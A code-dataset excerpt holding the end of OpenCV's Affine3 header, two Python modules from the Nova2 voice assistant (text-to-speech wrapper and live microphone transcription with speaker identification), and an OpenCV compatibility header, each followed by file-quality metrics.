t = (R.val[0] + 1) * 0.5;
rx = std::sqrt(std::max(t, 0.0));
t = (R.val[4] + 1) * 0.5;
ry = std::sqrt(std::max(t, 0.0)) * (R.val[1] < 0 ? -1.0 : 1.0);
t = (R.val[8] + 1) * 0.5;
rz = std::sqrt(std::max(t, 0.0)) * (R.val[2] < 0 ? -1.0 : 1.0);
if( fabs(rx) < fabs(ry) && fabs(rx) < fabs(rz) && (R.val[5] > 0) != (ry*rz > 0) )
rz = -rz;
theta /= std::sqrt(rx*rx + ry*ry + rz*rz);
rx *= theta;
ry *= theta;
rz *= theta;
}
}
else
{
double vth = 1/(2*s);
vth *= theta;
rx *= vth; ry *= vth; rz *= vth;
}
return cv::Vec3d(rx, ry, rz);
}
template<typename T> inline
cv::Affine3<T> cv::Affine3<T>::inv(int method) const
{
return matrix.inv(method);
}
template<typename T> inline
cv::Affine3<T> cv::Affine3<T>::rotate(const Mat3& R) const
{
Mat3 Lc = linear();
Vec3 tc = translation();
Mat4 result;
result.val[12] = result.val[13] = result.val[14] = 0;
result.val[15] = 1;
for(int j = 0; j < 3; ++j)
{
for(int i = 0; i < 3; ++i)
{
float_type value = 0;
for(int k = 0; k < 3; ++k)
value += R(j, k) * Lc(k, i);
result(j, i) = value;
}
result(j, 3) = R.row(j).dot(tc.t());
}
return result;
}
template<typename T> inline
cv::Affine3<T> cv::Affine3<T>::rotate(const Vec3& _rvec) const
{
return rotate(Affine3f(_rvec).rotation());
}
template<typename T> inline
cv::Affine3<T> cv::Affine3<T>::translate(const Vec3& t) const
{
Mat4 m = matrix;
m.val[ 3] += t[0];
m.val[ 7] += t[1];
m.val[11] += t[2];
return m;
}
template<typename T> inline
cv::Affine3<T> cv::Affine3<T>::concatenate(const Affine3<T>& affine) const
{
return (*this).rotate(affine.rotation()).translate(affine.translation());
}
template<typename T> template <typename Y> inline
cv::Affine3<T>::operator Affine3<Y>() const
{
return Affine3<Y>(matrix);
}
template<typename T> template <typename Y> inline
cv::Affine3<Y> cv::Affine3<T>::cast() const
{
return Affine3<Y>(matrix);
}
template<typename T> inline
cv::Affine3<T> cv::operator*(const cv::Affine3<T>& affine1, const cv::Affine3<T>& affine2)
{
return affine2.concatenate(affine1);
}
template<typename T, typename V> inline
V cv::operator*(const cv::Affine3<T>& affine, const V& v)
{
const typename Affine3<T>::Mat4& m = affine.matrix;
V r;
r.x = m.val[0] * v.x + m.val[1] * v.y + m.val[ 2] * v.z + m.val[ 3];
r.y = m.val[4] * v.x + m.val[5] * v.y + m.val[ 6] * v.z + m.val[ 7];
r.z = m.val[8] * v.x + m.val[9] * v.y + m.val[10] * v.z + m.val[11];
return r;
}
static inline
cv::Vec3f cv::operator*(const cv::Affine3f& affine, const cv::Vec3f& v)
{
const cv::Matx44f& m = affine.matrix;
cv::Vec3f r;
r.val[0] = m.val[0] * v[0] + m.val[1] * v[1] + m.val[ 2] * v[2] + m.val[ 3];
r.val[1] = m.val[4] * v[0] + m.val[5] * v[1] + m.val[ 6] * v[2] + m.val[ 7];
r.val[2] = m.val[8] * v[0] + m.val[9] * v[1] + m.val[10] * v[2] + m.val[11];
return r;
}
static inline
cv::Vec3d cv::operator*(const cv::Affine3d& affine, const cv::Vec3d& v)
{
const cv::Matx44d& m = affine.matrix;
cv::Vec3d r;
r.val[0] = m.val[0] * v[0] + m.val[1] * v[1] + m.val[ 2] * v[2] + m.val[ 3];
r.val[1] = m.val[4] * v[0] + m.val[5] * v[1] + m.val[ 6] * v[2] + m.val[ 7];
r.val[2] = m.val[8] * v[0] + m.val[9] * v[1] + m.val[10] * v[2] + m.val[11];
return r;
}
#if defined EIGEN_WORLD_VERSION && defined EIGEN_GEOMETRY_MODULE_H
template<typename T> inline
cv::Affine3<T>::Affine3(const Eigen::Transform<T, 3, Eigen::Affine, (Eigen::RowMajor)>& affine)
{
cv::Mat(4, 4, cv::traits::Type<T>::value, affine.matrix().data()).copyTo(matrix);
}
template<typename T> inline
cv::Affine3<T>::Affine3(const Eigen::Transform<T, 3, Eigen::Affine>& affine)
{
Eigen::Transform<T, 3, Eigen::Affine, (Eigen::RowMajor)> a = affine;
cv::Mat(4, 4, cv::traits::Type<T>::value, a.matrix().data()).copyTo(matrix);
}
template<typename T> inline
cv::Affine3<T>::operator Eigen::Transform<T, 3, Eigen::Affine, (Eigen::RowMajor)>() const
{
Eigen::Transform<T, 3, Eigen::Affine, (Eigen::RowMajor)> r;
cv::Mat hdr(4, 4, cv::traits::Type<T>::value, r.matrix().data());
cv::Mat(matrix, false).copyTo(hdr);
return r;
}
template<typename T> inline
cv::Affine3<T>::operator Eigen::Transform<T, 3, Eigen::Affine>() const
{
return this->operator Eigen::Transform<T, 3, Eigen::Affine, (Eigen::RowMajor)>();
}
#endif /* defined EIGEN_WORLD_VERSION && defined EIGEN_GEOMETRY_MODULE_H */
//! @endcond
#endif /* __cplusplus */
#endif /* OPENCV_CORE_AFFINE3_HPP */
| 21,525 | affine | hpp | en | cpp | code | {"qsc_code_num_words": 3120, "qsc_code_num_chars": 21525.0, "qsc_code_mean_word_length": 3.94967949, "qsc_code_frac_words_unique": 0.13429487, "qsc_code_frac_chars_top_2grams": 0.03245963, "qsc_code_frac_chars_top_3grams": 0.0348941, "qsc_code_frac_chars_top_4grams": 0.04852714, "qsc_code_frac_chars_dupe_5grams": 0.45711272, "qsc_code_frac_chars_dupe_6grams": 0.38854175, "qsc_code_frac_chars_dupe_7grams": 0.35316076, "qsc_code_frac_chars_dupe_8grams": 0.3277611, "qsc_code_frac_chars_dupe_9grams": 0.28312911, "qsc_code_frac_chars_dupe_10grams": 0.24263572, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.04132126, "qsc_code_frac_chars_whitespace": 0.2714518, "qsc_code_size_file_byte": 21525.0, "qsc_code_num_lines": 678.0, "qsc_code_num_chars_line_max": 118.0, "qsc_code_num_chars_line_mean": 31.74778761, "qsc_code_frac_chars_alphabet": 0.74448412, "qsc_code_frac_chars_comments": 0.41463415, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.22343324, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0031746, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.01089918, "qsc_codecpp_frac_lines_preprocessor_directives": null, "qsc_codecpp_frac_lines_func_ratio": 0.06811989, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.09809264, "qsc_codecpp_frac_lines_print": 0.0} | 1 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 0, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0} |
00Julian00/Nova2 | app/tts_manager.py | """
Description: This script handles text-to-speech.
"""
from Nova2.app.interfaces import TTSInferenceEngineBase
from Nova2.app.tts_data import TTSConditioning
from Nova2.app.audio_manager import AudioData
from Nova2.app.inference_engine_manager import InferenceEngineManager
from Nova2.app.helpers import is_configured
class TTSManager:
def __init__(self):
"""
This class runs TTS inference.
"""
self._conditioning: TTSConditioning = None # type: ignore
self._conditioning_dirty = None
self._inference_engine_manager = InferenceEngineManager()
def configure(self, conditioning: TTSConditioning) -> None:
"""
Configure the TTS system.
"""
if not self._conditioning_dirty:
raise Exception("Failed to initialize TTS. No TTS conditioning provided.")
self._conditioning_dirty = conditioning
def apply_config(self) -> None:
"""
Applies the configuration and loads the model into memory.
"""
if not self._conditioning_dirty:
raise Exception("Failed to initialize TTS. No TTS conditioning provided.")
self._conditioning = self._conditioning_dirty
self._inference_engine: TTSInferenceEngineBase = self._inference_engine_manager.request_engine(
self._conditioning.inference_engine,
"TTS"
) # type: ignore
self._inference_engine.initialize_model(self._conditioning) # type: ignore
@is_configured
def run_inference(self, text: str) -> AudioData:
"""
Converts text to speech and returns the audio data.
Arguments:
text (str): The text that will be converted to speech.
Returns:
AudioData: The generated audio data.
"""
data = self._inference_engine.run_inference(
conditioning=self._conditioning,
text=text,
stream=False
)
return data # type: ignore | 2,007 | tts_manager | py | en | python | code | {"qsc_code_num_words": 208, "qsc_code_num_chars": 2007.0, "qsc_code_mean_word_length": 6.15384615, "qsc_code_frac_words_unique": 0.33653846, "qsc_code_frac_chars_top_2grams": 0.1375, "qsc_code_frac_chars_top_3grams": 0.046875, "qsc_code_frac_chars_top_4grams": 0.0546875, "qsc_code_frac_chars_dupe_5grams": 0.159375, "qsc_code_frac_chars_dupe_6grams": 0.159375, "qsc_code_frac_chars_dupe_7grams": 0.159375, "qsc_code_frac_chars_dupe_8grams": 0.159375, "qsc_code_frac_chars_dupe_9grams": 0.159375, "qsc_code_frac_chars_dupe_10grams": 0.159375, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00340368, "qsc_code_frac_chars_whitespace": 0.26806178, "qsc_code_size_file_byte": 2007.0, "qsc_code_num_lines": 62.0, "qsc_code_num_chars_line_max": 104.0, "qsc_code_num_chars_line_mean": 32.37096774, "qsc_code_frac_chars_alphabet": 0.86793737, "qsc_code_frac_chars_comments": 0.19481814, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.12903226, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.07624831, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codepython_cate_ast": 1.0, "qsc_codepython_frac_lines_func_ratio": 0.12903226, "qsc_codepython_cate_var_zero": false, "qsc_codepython_frac_lines_pass": 0.0, "qsc_codepython_frac_lines_import": 0.16129032, "qsc_codepython_frac_lines_simplefunc": 0.0, "qsc_codepython_score_lines_no_logic": 0.35483871, "qsc_codepython_frac_lines_print": 0.0} | 1 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codepython_cate_ast": 0, "qsc_codepython_frac_lines_func_ratio": 0, "qsc_codepython_cate_var_zero": 0, "qsc_codepython_frac_lines_pass": 0, "qsc_codepython_frac_lines_import": 0, "qsc_codepython_frac_lines_simplefunc": 0, "qsc_codepython_score_lines_no_logic": 0, "qsc_codepython_frac_lines_print": 0} |
00Julian00/Nova2 | app/stt_manager.py | """
Description: This script uses fasterwhisper to continously transcribe audio data from the microphone. It also creates voice embeddings.
"""
import os
import queue
import threading
import time
from typing import Generator
from Nova2.app.helpers import suppress_output, is_configured
import numpy as np
import sounddevice as sd
import torch
import torch.nn.functional as F
with suppress_output():
from speechbrain.inference.speaker import EncoderClassifier
import silero_vad
from Nova2.app.stt_data import Word, STTConditioning
from Nova2.app.database_manager import VoiceDatabaseManager
from Nova2.app.context_data import ContextDatapoint, ContextSource_Voice
from Nova2.app.interfaces import STTInferenceEngineBase
from Nova2.app.inference_engine_manager import InferenceEngineManager
SAMPLE_RATE = 16000
class VoiceAnalysis:
def __init__(self) -> None:
"""
A pipeline for live voice analysis.
"""
self._conditioning: STTConditioning = None # type: ignore
self._conditioning_dirty = None
if os.name == "nt":
os.environ["KMP_DUPLICATE_LIB_OK"] = "True" # Only necessary for windows
self._voice_database_manager = VoiceDatabaseManager()
self._inference_engine_manager = InferenceEngineManager()
def configure(self, conditioning: STTConditioning):
if not self._conditioning_dirty:
raise Exception("Failed to initialize TTS. No TTS conditioning provided.")
self._conditioning_dirty = conditioning
def apply_config(self) -> None:
if self._conditioning_dirty is None:
raise Exception("Failed to initialize TTS. No TTS conditioning provided.")
self._conditioning = self._conditioning_dirty
self._inference_engine: STTInferenceEngineBase = self._inference_engine_manager.request_engine(
self._conditioning.inference_engine,
"STT"
) # type: ignore
self._inference_engine.initialize_model(self._conditioning) # type: ignore
self._verbose = False
self._device = self._conditioning.device
if self._conditioning.device == "cuda" and not torch.cuda.is_available():
self._device = "cpu"
torch.set_default_dtype(torch.float32)
self._vad_model = silero_vad.load_silero_vad()
with suppress_output():
self._speaker_embedding_model = EncoderClassifier.from_hparams(source="speechbrain/spkrec-xvect-voxceleb", savedir="pretrained_models/spkrec-xvect-voxceleb", run_opts={"device": self._device})
self._microphone_index = self._conditioning.microphone_index
self._max_silence_chunks = 3
self._current_sentence = []
self._locked_words = 0
self._audio_queue = queue.Queue()
self._is_recording = True
self._speculative = False
self._recording_thread = threading.Thread(target=self._record_audio)
def _record_audio(self) -> None:
audio_buffer = np.array([], dtype=np.float32)
silence_start = None
last_transcription_time = time.time()
def callback(indata, frames, time_info, status):
nonlocal audio_buffer, silence_start, last_transcription_time
audio = np.frombuffer(indata, dtype=np.float32)
audio_buffer = np.concatenate((audio_buffer, audio))
if time.time() - last_transcription_time >= 1:
last_transcription_time = time.time()
if len(audio_buffer) > 0:
self._audio_queue.put(audio_buffer)
audio_buffer = np.array([], dtype=np.float32)
with sd.InputStream(callback=callback, dtype=np.float32, channels=1, samplerate=SAMPLE_RATE, device=self._microphone_index):
while self._is_recording:
time.sleep(0.1)
if len(audio_buffer) > 0:
self._audio_queue.put(audio_buffer)
def _detect_voice_activity(self, audio_chunk: torch.FloatTensor) -> bool:
timestamps = silero_vad.get_speech_timestamps(
model=self._vad_model,
audio=audio_chunk,
threshold=self._conditioning.vad_threshold,
sampling_rate=SAMPLE_RATE
)
return len(timestamps) > 0
def _update_transcription(self, words: list[Word]) -> tuple[list[Word], int]:
new_locked_words = self._locked_words
for i in range(len(words)):
if i < self._locked_words:
continue
if i < len(self._current_sentence) and words[i].text == self._current_sentence[i].text:
new_locked_words += 1
else:
break
self._current_sentence = words[:new_locked_words] + words[new_locked_words:]
self._locked_words = new_locked_words
return self._current_sentence, self._locked_words
def _generate_speaker_embedding(self, audio_data: torch.Tensor) -> torch.Tensor:
if audio_data.ndim == 1:
audio_data = audio_data.unsqueeze(0)
# Ensure the audio segment is long enough (at least 1 second)
min_length = SAMPLE_RATE # 1 second at 16000 Hz
if audio_data.shape[1] < min_length:
# Pad the audio data if it's too short
padding = torch.zeros(1, min_length - audio_data.shape[1], device=audio_data.device)
audio_data = torch.cat([audio_data, padding], dim=1)
try:
return self._speaker_embedding_model.encode_batch(audio_data) # type: ignore
except RuntimeError as e:
raise Exception(f"Failed to generate speaker embedding: {e}")
@is_configured
def start(self) -> Generator[ContextDatapoint, None, None]:
"""
Generator for live voice analysis.
Returns a generator object that continuously yields the current sentence that is recorded from the microphone.
if "speculative" is set to True, the generator may correct itself in the next pass, if not, it yields the words as they are coming in.
When a sentence is finished, the generator yields the full sentence, until the user continues speaking, which will reset the sentence.
Returns:
Generator[ContextDatapoint]: The generator that yields the data.
"""
self._recording_thread.start()
current_audio_data = None
first_audio_chunk = None
silence_counter = 0
while self._is_recording:
if not self._audio_queue.empty():
audio_chunk = self._audio_queue.get()
speech_detected = self._detect_voice_activity(audio_chunk)
if current_audio_data is None:
if not speech_detected:
first_audio_chunk = audio_chunk
continue
else:
if not speech_detected:
silence_counter += 1
current_audio_data = np.concatenate((current_audio_data, audio_chunk))
if silence_counter >= self._max_silence_chunks:
continue
if speech_detected:
silence_counter = 0
if current_audio_data is None:
if first_audio_chunk is not None:
current_audio_data = np.concatenate((first_audio_chunk, audio_chunk))
else:
current_audio_data = audio_chunk
else:
current_audio_data = np.concatenate((current_audio_data, audio_chunk))
audio_tensor = torch.from_numpy(current_audio_data).float().to(self._device)
transcription = self._inference_engine.run_inference(audio_tensor)
self._current_sentence, self._locked_words = self._update_transcription(transcription) # type: ignore
confirmed_transcription: list[Word] = []
speculative_transcription: list[Word] = []
for i, word in enumerate(self._current_sentence):
if i < self._locked_words:
confirmed_transcription.append(word)
speculative_transcription.append(word)
# Sentence is finished
if len(confirmed_transcription) > 0:
if "." in confirmed_transcription[len(confirmed_transcription) - 1].text or "!" in confirmed_transcription[len(confirmed_transcription) - 1].text or "?" in confirmed_transcription[len(confirmed_transcription) - 1].text:
# Generate embedding and assign to all words
speaker_embedding = self._generate_speaker_embedding(audio_tensor)
for word in confirmed_transcription:
word.speaker_embedding = speaker_embedding
current_audio_data = None
self._current_sentence = []
self._locked_words = 0
# Construct the context datapoint
voice = self._resolve_speaker(words=confirmed_transcription)
datapoint = ContextDatapoint(
source=ContextSource_Voice(speaker=voice),
content=VoiceProcessingHelpers.word_array_to_string(confirmed_transcription)
)
yield datapoint
def _resolve_speaker(self, words: list[Word]) -> str:
"""
Finds the name of the current speaker
"""
embedding_list = []
for word in words:
embedding_list.append(word.speaker_embedding)
avg_embedding = VoiceProcessingHelpers.take_average_embedding(embedding_list)
voice = self._voice_database_manager.get_voice_name_from_embedding(avg_embedding)
if voice and voice[1] > self._conditioning.voice_similarity_threshold: # If voice was found and it's close enough use it. Otherwise create a new one
voice_name = voice[0]
else:
voice_name = self._voice_database_manager.create_unknown_voice(avg_embedding)
return voice_name
@is_configured
def close(self) -> None:
"""
Ends the execution of this script. No more data will be yielded by the generator.
"""
self._is_recording = False
self._audio_queue = queue.Queue()
if self._recording_thread.is_alive():
self._recording_thread.join()
def _split_audio_by_timestamps(self, audio_data: torch.Tensor, start: float, end: float) -> torch.Tensor:
start_sample = int(start * SAMPLE_RATE)
end_sample = int(end * SAMPLE_RATE)
audio_data = audio_data[:, start_sample:end_sample]
return audio_data
class VoiceProcessingHelpers:
def __init__(self):
"""
A collection of static methods that act as helpers.
"""
pass
@staticmethod
def word_array_to_string(word_array: list[Word]) -> str:
"""
Extracts the text from an array of word objects and returns it as a string.
Arguments:
word_array (List[Word]): The array of word objects that will be converted to a string.
Returns:
str: The full extracted text.
"""
text = ""
for word in word_array:
text += word.text
return text
@staticmethod
def compare_embeddings(emb1: torch.FloatTensor, emb2: torch.FloatTensor) -> float:
"""
Compare how "close" two embeddings are to each other.
Arguments:
emb1 (torch.FloatTensor): The first embedding to compare.
emb2 (torch.FloatTensor): The second embedding to compare.
Returns:
float: How "close" the embeddings are. Ranges from -1 to 1. Higher is closer.
"""
return (F.cosine_similarity(emb1.squeeze(), emb2.squeeze(), dim=0).mean().item())
@staticmethod
def take_average_embedding(embeddings: list[torch.Tensor]) -> torch.Tensor:
"""
Takes the average of a List of embeddings.
Arguments:
embeddings (List[torch.FloatTensor]): The embedding List.
Returns:
torch.FloatTensor: The average embedding.
"""
return torch.mean(torch.stack(embeddings), dim=0) | 12,556 | stt_manager | py | en | python | code | {"qsc_code_num_words": 1388, "qsc_code_num_chars": 12556.0, "qsc_code_mean_word_length": 5.42723343, "qsc_code_frac_words_unique": 0.22262248, "qsc_code_frac_chars_top_2grams": 0.03225806, "qsc_code_frac_chars_top_3grams": 0.02336387, "qsc_code_frac_chars_top_4grams": 0.01221293, "qsc_code_frac_chars_dupe_5grams": 0.15040489, "qsc_code_frac_chars_dupe_6grams": 0.11602283, "qsc_code_frac_chars_dupe_7grams": 0.09345546, "qsc_code_frac_chars_dupe_8grams": 0.0687641, "qsc_code_frac_chars_dupe_9grams": 0.0687641, "qsc_code_frac_chars_dupe_10grams": 0.0687641, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.0072653, "qsc_code_frac_chars_whitespace": 0.29842306, "qsc_code_size_file_byte": 12556.0, "qsc_code_num_lines": 312.0, "qsc_code_num_chars_line_max": 240.0, "qsc_code_num_chars_line_mean": 40.24358974, "qsc_code_frac_chars_alphabet": 0.84788285, "qsc_code_frac_chars_comments": 0.15148136, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.23195876, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.02600175, "qsc_code_frac_chars_long_word_length": 0.00698554, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codepython_cate_ast": 1.0, "qsc_codepython_frac_lines_func_ratio": 0.08247423, "qsc_codepython_cate_var_zero": false, "qsc_codepython_frac_lines_pass": 0.00515464, "qsc_codepython_frac_lines_import": 0.08762887, "qsc_codepython_frac_lines_simplefunc": 0.0, "qsc_codepython_score_lines_no_logic": 0.22164948, "qsc_codepython_frac_lines_print": 0.0} | 1 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codepython_cate_ast": 0, "qsc_codepython_frac_lines_func_ratio": 0, "qsc_codepython_cate_var_zero": 0, "qsc_codepython_frac_lines_pass": 0, "qsc_codepython_frac_lines_import": 0, "qsc_codepython_frac_lines_simplefunc": 0, "qsc_codepython_score_lines_no_logic": 0, "qsc_codepython_frac_lines_print": 0} |
0015/ESP32-OpenCV-Projects | esp32/examples/color_code/main/opencv/opencv2/imgproc/imgproc.hpp | /*M///////////////////////////////////////////////////////////////////////////////////////
//
// IMPORTANT: READ BEFORE DOWNLOADING, COPYING, INSTALLING OR USING.
//
// By downloading, copying, installing or using the software you agree to this license.
// If you do not agree to this license, do not download, install,
// copy or use the software.
//
//
// License Agreement
// For Open Source Computer Vision Library
//
// Copyright (C) 2000-2008, Intel Corporation, all rights reserved.
// Copyright (C) 2009, Willow Garage Inc., all rights reserved.
// Copyright (C) 2013, OpenCV Foundation, all rights reserved.
// Third party copyrights are property of their respective owners.
//
// Redistribution and use in source and binary forms, with or without modification,
// are permitted provided that the following conditions are met:
//
// * Redistribution's of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// * Redistribution's in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// * The name of the copyright holders may not be used to endorse or promote products
// derived from this software without specific prior written permission.
//
// This software is provided by the copyright holders and contributors "as is" and
// any express or implied warranties, including, but not limited to, the implied
// warranties of merchantability and fitness for a particular purpose are disclaimed.
// In no event shall the Intel Corporation or contributors be liable for any direct,
// indirect, incidental, special, exemplary, or consequential damages
// (including, but not limited to, procurement of substitute goods or services;
// loss of use, data, or profits; or business interruption) however caused
// and on any theory of liability, whether in contract, strict liability,
// or tort (including negligence or otherwise) arising in any way out of
// the use of this software, even if advised of the possibility of such damage.
//
//M*/
#ifdef __OPENCV_BUILD
#error this is a compatibility header which should not be used inside the OpenCV library
#endif
#include "opencv2/imgproc.hpp"
| 2,370 | imgproc | hpp | en | cpp | code | {"qsc_code_num_words": 316, "qsc_code_num_chars": 2370.0, "qsc_code_mean_word_length": 5.36708861, "qsc_code_frac_words_unique": 0.52531646, "qsc_code_frac_chars_top_2grams": 0.01768868, "qsc_code_frac_chars_top_3grams": 0.03007075, "qsc_code_frac_chars_top_4grams": 0.03537736, "qsc_code_frac_chars_dupe_5grams": 0.18160377, "qsc_code_frac_chars_dupe_6grams": 0.08018868, "qsc_code_frac_chars_dupe_7grams": 0.08018868, "qsc_code_frac_chars_dupe_8grams": 0.08018868, "qsc_code_frac_chars_dupe_9grams": 0.08018868, "qsc_code_frac_chars_dupe_10grams": 0.08018868, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00872242, "qsc_code_frac_chars_whitespace": 0.17763713, "qsc_code_size_file_byte": 2370.0, "qsc_code_num_lines": 48.0, "qsc_code_num_chars_line_max": 91.0, "qsc_code_num_chars_line_mean": 49.375, "qsc_code_frac_chars_alphabet": 0.86146742, "qsc_code_frac_chars_comments": 0.93586498, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.125, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codecpp_frac_lines_preprocessor_directives": null, "qsc_codecpp_frac_lines_func_ratio": 0.0, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 1.0, "qsc_codecpp_score_lines_no_logic": 0.25, "qsc_codecpp_frac_lines_print": 0.0} | 0 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 1, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, 